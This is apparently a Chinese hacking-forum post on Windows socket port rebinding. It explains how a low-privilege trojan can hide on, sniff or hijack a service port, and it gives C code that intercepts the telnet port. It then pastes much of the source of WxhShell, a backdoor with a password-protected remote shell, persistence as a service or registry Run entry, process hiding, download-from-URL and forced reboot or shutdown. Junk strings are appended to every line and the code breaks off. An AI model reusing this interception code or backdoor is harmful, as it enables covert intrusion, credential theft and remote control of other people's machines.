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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: LM<OYRB(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +F`! Jt  
P$w0.XZa  
  saddr.sin_family = AF_INET; 7';PI!$  
E8)C_[QJ`  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); s>_ne0  
FIW*N r  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); dGHRHXi  
Ag}>gbz~G  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 V! ~uGf  
W;,Jte<'Nm  
  这意味着什么?意味着可以进行如下的攻击: f<y""0L9  
s8 3_Bd  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <5q:mG88  
I`FH^=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \N7 E!82  
5 {'%trDEy  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 q/&Z6LJ)  
iF<VbQP=X^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  <A!v'Y  
$|sRj!F  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 "-N%`UA  
'w!Hjq]$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 8m-ryr)  
GHH1jJ_[7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 |} .Y&1@U  
6%O"   
  #include uVIs5IZzIi  
  #include 1p`XK";g  
  #include py@5]n%  
  #include    ~ ]o .Mv a  
  DWORD WINAPI ClientThread(LPVOID lpParam);   .GkH^9THP  
  int main() a i}8+L8-  
  { a o\+%s  
  WORD wVersionRequested; J[]YG+r  
  DWORD ret; !^B`7  
  WSADATA wsaData; .4.zy]I  
  BOOL val; 6 {5*9!v63  
  SOCKADDR_IN saddr; Z]"ktb;+[  
  SOCKADDR_IN scaddr; `2Ff2D ^ ?  
  int err; oIX]9~  
  SOCKET s; t'FY*|xk  
  SOCKET sc; /__we[$E  
  int caddsize;  [T !#s  
  HANDLE mt; Q%q_  
  DWORD tid;   a?&oOQd-iP  
  wVersionRequested = MAKEWORD( 2, 2 ); jC<<S  
  err = WSAStartup( wVersionRequested, &wsaData ); ]\*g/QV  
  if ( err != 0 ) { ~@TNVkw  
  printf("error!WSAStartup failed!\n"); k >U&Us0  
  return -1; (<2PhJ|  
  } +KXg&A/^  
  saddr.sin_family = AF_INET; Q4q3M=0  
   " c}pY^(  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %6dFACv  
; l+3l ez  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %w_h8  
  saddr.sin_port = htons(23); (g4.bbEm  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D.U)R7(  
  { !</5 )B`5:  
  printf("error!socket failed!\n"); "4}{Z)&R2  
  return -1; d];E99}  
  } Hi <{c  
  val = TRUE; rEs,o3h?po  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 @yS  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) r|6S&Ia>  
  {  fW|1AUD,  
  printf("error!setsockopt failed!\n"); MQw{^6Z>1  
  return -1; LW0't} z  
  } w\s$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l9? ] t;  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 >\3=h8zw  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 OB l-6W  
H2|&  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) t&H):P  
  { -=5z&) X  
  ret=GetLastError(); D_(xhM  
  printf("error!bind failed!\n"); q_ ']i6  
  return -1; .6f %"E,  
  } [6)`wi  
  listen(s,2); vR-rCve$P  
  while(1) l 0jjLqm:  
  { Y(W>([59  
  caddsize = sizeof(scaddr); Z/6B[,V  
  //接受连接请求 )r5QOa/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ]X;Ty\UD&  
  if(sc!=INVALID_SOCKET) _U%!&_m6  
  { >jRz4%  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); mEr* n  
  if(mt==NULL) ub0]nov  
  { ??ah  
  printf("Thread Creat Failed!\n"); d,6 Z  
  break; vw>O;u.]B  
  } 4 Z1- RS  
  } j+w*Absh  
  CloseHandle(mt); gO1`zP!9Z  
  } 3zGxe-  
  closesocket(s); ID E3>D  
  WSACleanup(); F+v?2|03  
  return 0; # ]&=]K1V  
  }   <Y9((QSM4  
  DWORD WINAPI ClientThread(LPVOID lpParam) <0 k(d:H-  
  { \y"!`.E7\d  
  SOCKET ss = (SOCKET)lpParam; TOeJnk  
  SOCKET sc; c+ Ejah+  
  unsigned char buf[4096]; -Q<3Q_  
  SOCKADDR_IN saddr; ]?/[& PP,  
  long num; rhHX0+  
  DWORD val; -=s7Q{O8Z  
  DWORD ret; "!9~77  
  //如果是隐藏端口应用的话,可以在此处加一些判断 #4Xe zj,g*  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   "Z#97Jc+J  
  saddr.sin_family = AF_INET; 7Ha +@  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); (zCas}YAKI  
  saddr.sin_port = htons(23); .~4%TsBaY  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `6?r.;wj  
  { ?SkYFa`u*  
  printf("error!socket failed!\n"); <RKh%4#~  
  return -1; m .le' &  
  } 6Z\[{S];  
  val = 100; $._p !,<  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;.'2ZNt2  
  { ''s]6Jjw  
  ret = GetLastError(); )PVX)2P_C  
  return -1; 593D/^}D  
  } %o.{h  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) GL(R9Y  
  { c{ +Y $  
  ret = GetLastError(); *ukE"Aj  
  return -1; oIAP dn  
  } QA+qFP  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) gmJiKuAL5  
  { 6,ylk f3  
  printf("error!socket connect failed!\n"); /Uz2.Ua=  
  closesocket(sc); _6;T /_R=  
  closesocket(ss); %($sj| _l  
  return -1; hIuK s5`  
  } /9/=]  
  while(1) 3&/5!zOg)  
  { (B.J8`h }  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 vA10'Gx'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 &$ia#j{l  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 aF;Q SI  
  num = recv(ss,buf,4096,0); Q>cLGdzO  
  if(num>0) wwF]+w%lOw  
  send(sc,buf,num,0); A84I*d  
  else if(num==0) ]HgAI$aA,  
  break; N0,.cd]y`  
  num = recv(sc,buf,4096,0); d/k&f5  
  if(num>0) 7N+No.vR.  
  send(ss,buf,num,0); uZ&,tH/  
  else if(num==0) Ia*eb%HG  
  break; Z f4Xt Yn  
  } "i<i.6|  
  closesocket(ss); Jk!}z+X'A  
  closesocket(sc); sF :3|Yy0  
  return 0 ; aF1pq  
  } \/p\QT@mm  
Ji\8(7 {8  
\h~;n)FI  
========================================================== Ratg!l|'-  
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下边附上一个代码,,WXhSHELL a*0gd-e0@  
m jC6(?V  
========================================================== w&8gA[y*u  
{n2mh%I  
#include "stdafx.h" !G.)%+Z  
I $!Y  
#include <stdio.h> x>8=CiUE  
#include <string.h> 9He>F7J:p'  
#include <windows.h> .h-:) e*  
#include <winsock2.h> (y7U}Sb'  
#include <winsvc.h> bEfxu;Su 3  
#include <urlmon.h> UxzZr%>s  
oIdMDp^$  
#pragma comment (lib, "Ws2_32.lib") R;,+0r^i  
#pragma comment (lib, "urlmon.lib") }Y~o =3-  
]i3 2-8%  
#define MAX_USER   100 // 最大客户端连接数 ^n"ve2   
#define BUF_SOCK   200 // sock buffer ~T7\lJ{%G  
#define KEY_BUFF   255 // 输入 buffer 'KMyaEh.u  
\/I@&$"F  
#define REBOOT     0   // 重启 / Li?;H  
#define SHUTDOWN   1   // 关机 u~=>$oT't  
*q{/`Z{wy  
#define DEF_PORT   5000 // 监听端口 9]r6V   
ymT&[+V  
#define REG_LEN     16   // 注册表键长度 &ok2Xw  
#define SVC_LEN     80   // NT服务名长度 a*o#,T5A  
}@_F( B  
// 从dll定义API ;?"2sS!AHQ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); js/N qf2>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); T.H S.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dU+28  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tJy6\~  
w&:"x@ -|  
// wxhshell配置信息 Gt{~u^<  
struct WSCFG { R R<92R  
  int ws_port;         // 监听端口 glbU\K> >  
  char ws_passstr[REG_LEN]; // 口令 +FRXTku(  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?u{y[pI6  
  char ws_regname[REG_LEN]; // 注册表键名  ~,Ck  
  char ws_svcname[REG_LEN]; // 服务名 Ho9 a#9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z.Z+cFi  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 R_eKKi@VH  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 l 3bo  
int ws_downexe;       // 下载执行标记, 1=yes 0=no T B~C4HK=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Jf{6'Ub  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rwGY)9 |  
73OFFKbsk  
}; 7Rqjf6kX`O  
s|.V:%9e  
// default Wxhshell configuration $q.% 4  
struct WSCFG wscfg={DEF_PORT, 6cQh8_/>{#  
    "xuhuanlingzhe", @2c Gx/1#  
    1, +K,]#$k  
    "Wxhshell", P#]%C  
    "Wxhshell", %b<cJ]F  
            "WxhShell Service", /MKcS%/H/  
    "Wrsky Windows CmdShell Service", gF+Uj( d  
    "Please Input Your Password: ", !%>p;H%0  
  1, PB*m D7"  
  "http://www.wrsky.com/wxhshell.exe", ~ \z7$9Q  
  "Wxhshell.exe" }"BXqh"\`  
    }; gf7%vyMo$  
?a+>%uWt  
// 消息定义模块 UM%]A'h2O"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z;`ts/?SY]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; eD5.*O  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {0 d/;  
char *msg_ws_ext="\n\rExit."; q'9u8b  
char *msg_ws_end="\n\rQuit."; =Bu> }$BD  
char *msg_ws_boot="\n\rReboot..."; BWV)> -V  
char *msg_ws_poff="\n\rShutdown..."; YYwFjA@  
char *msg_ws_down="\n\rSave to "; Ugzq;}V#  
=S7Xj`/  
char *msg_ws_err="\n\rErr!"; ?G%C}8a  
char *msg_ws_ok="\n\rOK!"; MlVN'w  
Li)rs<IX;m  
char ExeFile[MAX_PATH]; '|V"!R)  
int nUser = 0; Ucr$5^ME  
HANDLE handles[MAX_USER]; .6z8fjttOC  
int OsIsNt; ~{lSc/SP|  
D#R5G   
SERVICE_STATUS       serviceStatus; qC]6g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -,+zA.{+W  
|tF:]jnIt  
// 函数声明 BU],,t\  
int Install(void); T9N][5\  
int Uninstall(void); yXyL,R  
int DownloadFile(char *sURL, SOCKET wsh); 7 06-QE^  
int Boot(int flag); a~jU~('4}w  
void HideProc(void); KPc`5X  
int GetOsVer(void); Tl>D=Vnhh  
int Wxhshell(SOCKET wsl); 3BHPD;U  
void TalkWithClient(void *cs); 0<Q['l4Ar  
int CmdShell(SOCKET sock); }}L :6^  
int StartFromService(void); If[4]-dq  
int StartWxhshell(LPSTR lpCmdLine); 8>Az<EF^=#  
P]w5`aBM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "X<vgM^:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6z (7l  
Ud@D%?A7  
// 数据结构和表定义 ehe hTP  
SERVICE_TABLE_ENTRY DispatchTable[] = ~5S[Sl  
{ 03Czx`  
{wscfg.ws_svcname, NTServiceMain}, 2H+!78  
{NULL, NULL} _M[@a6?  
}; p,#t[K  
ypyqf55gK  
// 自我安装 mcbvB5U  
int Install(void) =GH>-*qp  
{ SStaS<q '  
  char svExeFile[MAX_PATH]; 2:b3+{\f  
  HKEY key; {yFCGCs  
  strcpy(svExeFile,ExeFile); gp@X(d  
pK/r{/>r  
// 如果是win9x系统,修改注册表设为自启动 v__n>*x  
if(!OsIsNt) { 3azyqpwU$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |qe[`x; %  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G':wJ7[]`  
  RegCloseKey(key); lRb|GS.h/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v0psth?qV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $aIq>vJO9  
  RegCloseKey(key); c:? tn  
  return 0; 02+ k,xFb  
    } UYOveQ;  
  }  rvP Y  
} .tRp  
else { ?w/i;pp<,  
V\Q=EsHj   
// 如果是NT以上系统,安装为系统服务 CYkU-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B8J_^kd  
if (schSCManager!=0) 7T7 A\  
{ l=+hs  
  SC_HANDLE schService = CreateService aYy+iP'$  
  ( ~1xfE C/  
  schSCManager, ( x)}k&B;  
  wscfg.ws_svcname, y^OT0mZkg  
  wscfg.ws_svcdisp, QlxzWd3=q  
  SERVICE_ALL_ACCESS, )67pBj  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , sn>2dRW{  
  SERVICE_AUTO_START, R9 +0ZoS  
  SERVICE_ERROR_NORMAL, K+WbxovXU  
  svExeFile, w8(8n&5  
  NULL, jg)+]r/hS  
  NULL, 9x4%M&<Z9a  
  NULL, Mk=M)d`  
  NULL, r1pj-   
  NULL {S l#z }@s  
  ); ,Q%q!#@  
  if (schService!=0) z?Hi u6c-  
  { /2s=;tA1  
  CloseServiceHandle(schService); Hsdcv~Xr;l  
  CloseServiceHandle(schSCManager);  kD}w5 U  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ZwzN=03T  
  strcat(svExeFile,wscfg.ws_svcname); Dt#( fuk#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *P:!lO\|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /w|!SZB  
  RegCloseKey(key); V= wWY*C  
  return 0; [ :Upn)9  
    } \}Hi\k+h':  
  } >_3P6-L>  
  CloseServiceHandle(schSCManager); FGRdA^`  
} P]A~:Lj  
} +Oxw?`I$  
0gevn  
return 1; -!bfxbP  
} 4`X]$.  
b7uxCH]Z  
// 自我卸载 Cf~ vT"  
int Uninstall(void) LdH23\  
{ vz~`M9^  
  HKEY key; ]cmq  
"z8iuF  
if(!OsIsNt) { y"I8^CA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \3bT0^7B  
  RegDeleteValue(key,wscfg.ws_regname); hD*83_S  
  RegCloseKey(key); w %2|Po5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .`ZuUr  
  RegDeleteValue(key,wscfg.ws_regname); @A.7`*i_  
  RegCloseKey(key); G~ONHXL  
  return 0; GEs5@EH  
  } ,%^qzoZnT  
} D!g \-y  
} 7;8DKY q  
else { F!RzF7h1  
hJc^NU5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (ah^</  
if (schSCManager!=0) {SRv=g  
{ Efa3{ 7>{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ABIQi[A  
  if (schService!=0) LlF|VR&P.  
  { )x<oRHx]  
  if(DeleteService(schService)!=0) { )k~{p;Ke  
  CloseServiceHandle(schService); 6Zx'$F.iqK  
  CloseServiceHandle(schSCManager); :OKU@l|  
  return 0; I9ZJ"29  
  } j>I.d+   
  CloseServiceHandle(schService); s$3WJ'yr  
  } e~1$x`DH  
  CloseServiceHandle(schSCManager); XS_Ib\-50  
} IM(=j  
} O<\h_   
qK jUp"  
return 1; xXQW|#X\  
} gw^X-  
E%&E<<nhZ  
// 从指定url下载文件 rvUJ K,oE  
int DownloadFile(char *sURL, SOCKET wsh) ?l?_8y/ww  
{ )VM'^sV?  
  HRESULT hr; Fo;.  
char seps[]= "/"; d%lwg~@&|5  
char *token; m`!Vryf  
char *file; D>6vI  
char myURL[MAX_PATH]; *7`amF-  
char myFILE[MAX_PATH]; @wTRoMHPQ  
;kLp}CqV  
strcpy(myURL,sURL); i}_d&.DbF  
  token=strtok(myURL,seps); J,_IHzO~Z  
  while(token!=NULL) /zTx+U.\I  
  { (U_dPf  
    file=token; (@3?JJ]1  
  token=strtok(NULL,seps); '(fCi  
  } 15Vo_ wD<y  
|n~Vpy  
GetCurrentDirectory(MAX_PATH,myFILE); &B@qb?UE1  
strcat(myFILE, "\\"); [W--%=Ou  
strcat(myFILE, file); hB1Gtc4n  
  send(wsh,myFILE,strlen(myFILE),0); J?[}h&otQ  
send(wsh,"...",3,0); VCCG_K9'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x-Fl|kwX.5  
  if(hr==S_OK) z\6/?5D#v  
return 0; |7:{vA5  
else wg{Y6X yH  
return 1; U\`yLsKvH`  
F94Qb}  
} mP+rPDGp  
eSA%:Is.  
// 系统电源模块 <^YZ#3~1T  
int Boot(int flag) >YP]IQ  
{ od`:w[2\  
  HANDLE hToken; gLQbA$gB  
  TOKEN_PRIVILEGES tkp; w*qmC<D$A  
pNzpT!}H>  
  if(OsIsNt) { *+>R^\uT  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); c[E>2P2-_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r/B iR0$E  
    tkp.PrivilegeCount = 1; 7).zed^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o](nK5?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :rX/I LAr  
if(flag==REBOOT) { &xjeZh4-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Wg C*bp{  
  return 0; }hX"A!0  
} Q =cbHDB  
else { aFrVP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "K$ y(}C  
  return 0; ,O}2LaK.O  
} `<kV)d%xEF  
  } O-K!Bv^ Q  
  else { ^_^rI+cTX1  
if(flag==REBOOT) { #$(wfb9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) DozC>  
  return 0; R@H}n3,  
} ^iwM(d]#5  
else { ^Wz3 q-^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -hP-w>  
  return 0; gDJ@s    
} 3kBpH7h4  
} .+c YzS] !  
kg_f;uk+  
return 1; ]0wmvTR  
} 8!AMRE  
lt&30nf=  
// win9x进程隐藏模块 hrr;=q$  
void HideProc(void) dLek4q `l  
{ Y)L\*+ >"[  
"yCek  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4)3!n*I  
  if ( hKernel != NULL ) t(:6S$6{e  
  { .W+ F<]r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7l})`> k  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?ixzlDto\  
    FreeLibrary(hKernel); y'k4>,`9e  
  } 8c'0"G@S  
It\o b7n  
return; kty,hAXe  
} Pk; 9\0k7  
G r;~P*  
// 获取操作系统版本 uhLg2G^h  
int GetOsVer(void) ]&ptld;  
{ xIo7f  
  OSVERSIONINFO winfo; ku'%+svD  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); NW9k.D%  
  GetVersionEx(&winfo); yf=ek= =  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +Hb6j02#  
  return 1; TJB0O]@3  
  else 4[!&L:tR  
  return 0; y tmlG%  
} vAJfMUlP  
lm&C!{K  
// 客户端句柄模块 Dg#Ab8  
int Wxhshell(SOCKET wsl) 5Wi5`8m  
{ k- sbZL  
  SOCKET wsh; =fHt|}.K  
  struct sockaddr_in client; +WwQ!vWWd  
  DWORD myID; `z3?ET  
1{"fmV  
  while(nUser<MAX_USER) _V{WXsOx(  
{ @/JGC%!  
  int nSize=sizeof(client); U &Ay3/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;8g#"p*&  
  if(wsh==INVALID_SOCKET) return 1; 5Kv=;o=U  
L#u6_`XJ+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _'AIXez7q  
if(handles[nUser]==0) 5H 1(C#|  
  closesocket(wsh); z6G^BaT'  
else uB,B%XHj  
  nUser++; B>Nxc@=D  
  } aXC`yQ?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =-`+4zB\  
317Buk  
  return 0; 6w}:w?=6  
} #K*d:W3C  
_n}!1(xYa`  
// 关闭 socket g\(7z P  
void CloseIt(SOCKET wsh) DO03vN  
{ il-&d]AP  
closesocket(wsh); )X^nzhZ2O"  
nUser--; x2ol   
ExitThread(0); *qb`wg  
} 82)d.>  
cR5<.$aY  
// 客户端请求句柄 )edM@beY_  
void TalkWithClient(void *cs) e-}PJ%!,T  
{ RycEM|51V  
(`!| Uf$  
  SOCKET wsh=(SOCKET)cs; ao-C9|2>NU  
  char pwd[SVC_LEN]; ,Fr{i1Ky  
  char cmd[KEY_BUFF]; &6\rKOsn  
char chr[1]; CYrL|{M]  
int i,j; [ objdQU`  
VS).!;>z  
  while (nUser < MAX_USER) { g(5s{njL  
;%jt;Xv9  
if(wscfg.ws_passstr) { . t3@86xTJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C3_*o>8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +bO{U C[  
  //ZeroMemory(pwd,KEY_BUFF); T]vD ,I+  
      i=0; *Cb(4h-  
  while(i<SVC_LEN) { @P.l8|w  
by06!-P0[  
  // 设置超时 Qp=uiXs  
  fd_set FdRead; W"Rii]GK"  
  struct timeval TimeOut; lT:<ZQyjT  
  FD_ZERO(&FdRead); +'Ge?(E4_  
  FD_SET(wsh,&FdRead); MoX* e  
  TimeOut.tv_sec=8; q/3}8BJ  
  TimeOut.tv_usec=0; LTY.i3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q@!:<Ra,){  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); uo{QF5z]  
T5Fah#-4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |(V%(_s  
  pwd=chr[0]; =0:hrg+Zgx  
  if(chr[0]==0xd || chr[0]==0xa) { QAJ>93  
  pwd=0; Z~nl{P#  
  break; /.?\P#9)  
  } -12v/an]L7  
  i++; o+t?OG/0  
    } t!=S[  
)5t_tPv  
  // 如果是非法用户,关闭 socket UB1/FM4~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kU Flp  
} vP?yl "U  
OiOL 4}5(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i!HGM=f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ES~]rPVS  
1)R)+`y  
while(1) { C[pDPx,#:G  
+?<jSmGW  
  ZeroMemory(cmd,KEY_BUFF); }Q=Zqlvz  
 X"0Q)  
      // 自动支持客户端 telnet标准   <#Lw.;(U;k  
  j=0; O92Yd$S  
  while(j<KEY_BUFF) { fkG8,=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w-"&;klV  
  cmd[j]=chr[0]; <D^x6{}  
  if(chr[0]==0xa || chr[0]==0xd) { 4_Jdh48-d  
  cmd[j]=0; Q.\>+4]1&&  
  break; ~V&ReW/  
  } dF,FH-  
  j++; -^5R51  
    } 1fy{@j(W  
yU.0'r5uR  
  // 下载文件 > 95Cs`>d  
  if(strstr(cmd,"http://")) { GCKl [<9*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Rv-o__C!  
  if(DownloadFile(cmd,wsh)) FCWphpz  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); rA`\we)  
  else .T|NB8 rS  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0- UeFy  
  } "v1(f|a  
  else { b {5|2&=  
ASvPr*q/  
    switch(cmd[0]) { s]iOC6v  
  .{ -yveE  
  // 帮助 7|-xM>L$A  
  case '?': { WFd2_oAT  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t}7wR TG  
    break; WGmCQE[/c  
  } |DW'RopM  
  // 安装 1aE/_  
  case 'i': { 1Tq$E[  
    if(Install()) pqSE|3*l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6dL>Rzl$Dk  
    else |pqpF?h5|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1l_}O1  
    break; F47n_JV!d  
    } w8 $Qh%J'<  
  // 卸载 !r*;R\!n2  
  case 'r': { X6,9D[Nw  
    if(Uninstall()) \6hL W_q1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wIF ":'  
    else LrMFzd}_O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (;&?B.<\:  
    break; s vb4uvY  
    } }i&dZTBGW  
  // 显示 wxhshell 所在路径 )6&\WNL-x  
  case 'p': { rcx;3Vne  
    char svExeFile[MAX_PATH]; j/D)UWkR  
    strcpy(svExeFile,"\n\r"); xbC8Amo;8"  
      strcat(svExeFile,ExeFile); _}@n_E  
        send(wsh,svExeFile,strlen(svExeFile),0); nq f<NH3i  
    break; IWqxT?*  
    } (QSWb>np  
  // 重启 |WU`p  
  case 'b': { ^-GX&ODa  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d7J[.^\  
    if(Boot(REBOOT)) &&1Y"dFs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yH%+cmp7  
    else { )8 :RiG2B  
    closesocket(wsh); Y@H,Lk  
    ExitThread(0); mN{ajf)@  
    } >J3ja>Gw/  
    break; O2]r]9sh*  
    } gAA %x 7  
  // 关机 &8+6!TN7  
  case 'd': { qTHg[sME  
